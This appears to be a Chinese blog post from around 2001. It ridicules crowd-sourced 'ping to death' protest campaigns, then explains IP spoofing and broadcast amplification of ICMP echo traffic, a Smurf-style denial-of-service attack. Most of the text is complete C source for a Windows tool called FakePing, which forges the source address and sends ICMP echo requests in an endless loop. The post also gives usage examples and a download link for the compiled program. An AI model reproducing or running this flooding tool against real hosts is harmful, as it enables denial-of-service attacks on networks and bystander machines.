|
最近不少人又来号召大家一起去Ping死什么什么网站,政治我不懂,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。 一个基本的认识:互联网的中心在美国,中国的这一部分只不过是互联网的一个小小分支(也就是相当于美国的一个城域网的概念),我们通往北美的光缆称为“北美出口”,出口什么意思?大门呀,换句话说,也就是瓶颈,这样大家Ping来Ping去,首先死的是中国的出口网关(中国的北美出口带宽也不过是GB级的,很宽么?经得住大家一起往外挤么?),当然,北美出口歇掉了,我们显然是看不见美国网站了,喜欢做阿Q的不妨对自己和别人说:“美国被我们炸掉了!”(奇怪吧?可是前些时候不是有自己炮制白宫“被黑”页面到处散发的?)可是这样不如我们关掉国门、断开互联网,自己在家里做强国梦好了,想象中我们仍然是在强大的唐朝,世界各地都来朝拜。 闲话少说,我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 正常情况下,Ping的流程是这样的: 主机A发送ICMP 8,0报文给主机B 主机B回送ICMp 0,0报文给主机A 因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 回应主机C,结构如下: 伪装为主机C 错误的回复 主机A--------------------->主机B------------------>主机C 这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且 不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求(当然是回应给被攻击主机啦,人人都以为是它Ping的呢),这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 我写了一个FakePing的工具,可以在 Http://www.patching.net/shotgun/FakePing.exe下载,使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标. 源码公布如下:(写的比较匆忙,代码比较乱,见笑了) ////////////////////////////////////////////////////////////////////////// // // // FakePing For Win2K by Shotgun // // // // Released: [2001.4] // // Author: [Shotgun] // // Homepage: // // [ http://IT.Xici.Net] // // [ http://WWW.Patching.Net] // // // ////////////////////////////////////////////////////////////////////////// #include #include #include #include
#define SEQ 0x28376839 #define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER;
// // 定义ICMP首部 typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号(一般用进程号作为识别号) USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }ICMP_HEADER;
//CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
//FakePing主函数 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32; char SendBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; ICMP_HEADER icmp_header; char FakeSourceIp[20],DestIp[20]; //接受命令行参数 if (argc<3) { printf(\"FakePing by Shotgun\\n\"); printf(\"\\tThis program can do Ping-Flooding from a FakeIP\\n\"); printf(\"\\tUsing a BroadCast IP as the FakeIP will enhance the effect\\n\"); printf(\"Email:\\n\"); printf(\"\\tShotgun@Xici.Net\\n\"); printf(\"HomePage:\\n\"); printf(\"\\thttp://It.Xici.Net\\n\"); printf(\"\\thttp://www.Patching.Net\\n\"); printf(\"USAGE:\\n\\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\\n\"); printf(\"Example:\\n\"); printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.255\\n\"); printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.200 6400\\n\"); exit(0); } strcpy(FakeSourceIp,argv[1]); strcpy(DestIp,argv[2]); if (argc>3) PacketSize=atoi(argv[3]); if (PacketSize>60000) { printf(\"Error! Packet size too big, must <60K\\n\"); exit(0); } printf(\"Now Fake %s Ping %s using Packet size=%d bytes\\n\", FakeSourceIp, DestIp, PacketSize); printf(\"\\tCtrl+C to Quit\\n\"); //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode); ExitProcess(STATUS_FAILED); } if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) printf(\"Set IP_HDRINCL Error!\\n\"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) ip_header.ident=1;
//16位标识 ip_header.frag_and_flags=0;
//3位标志位 ip_header.ttl=128;
//8位生存时间 TTL ip_header.proto=IPPROTO_ICMP;
//8位协议 (TCP, UDP 或其他) ip_header.checksum=0;
//16位IP首部校验和 ip_header.sourceIP=inet_addr(FakeSourceIp); //32
位源IP地址 ip_header.destIP=inet_addr(DestIp);
//32位目的IP地址 //填充ICMP首部 icmp_header.i_type = 8; icmp_header.i_code = 0; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = 999; icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(icmp_header), ‘E‘, PacketSize); icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), ‘E‘, PacketSize); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); //计算发送缓冲区的大小 datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header, sizeof(ip_header)); while(1) { Sleep(100); printf(\".\"); for(counter=0;counter<1024;counter++) { //发送ICMP报文 ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf(\"\\nSend Error:%d\\n\",GetLastError()); } } }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; }
结语: 爱国主义是必要的,热情是不可少的,但是技术这个东西来不得半点虚假,来不得半点冲动,是要靠老老实实慢慢钻研的,FakePing技术在互联网上不是什么新技术,很久以前被我们唾弃攻击的美国人就实现过了,难道我们现在还要去组织多少万人去冲击互联网出口?依靠智慧和知识的阿基米德,曾经用镜子保护了自己的家园,难道我们现在还要靠冲动和盲目去强国富民么?
|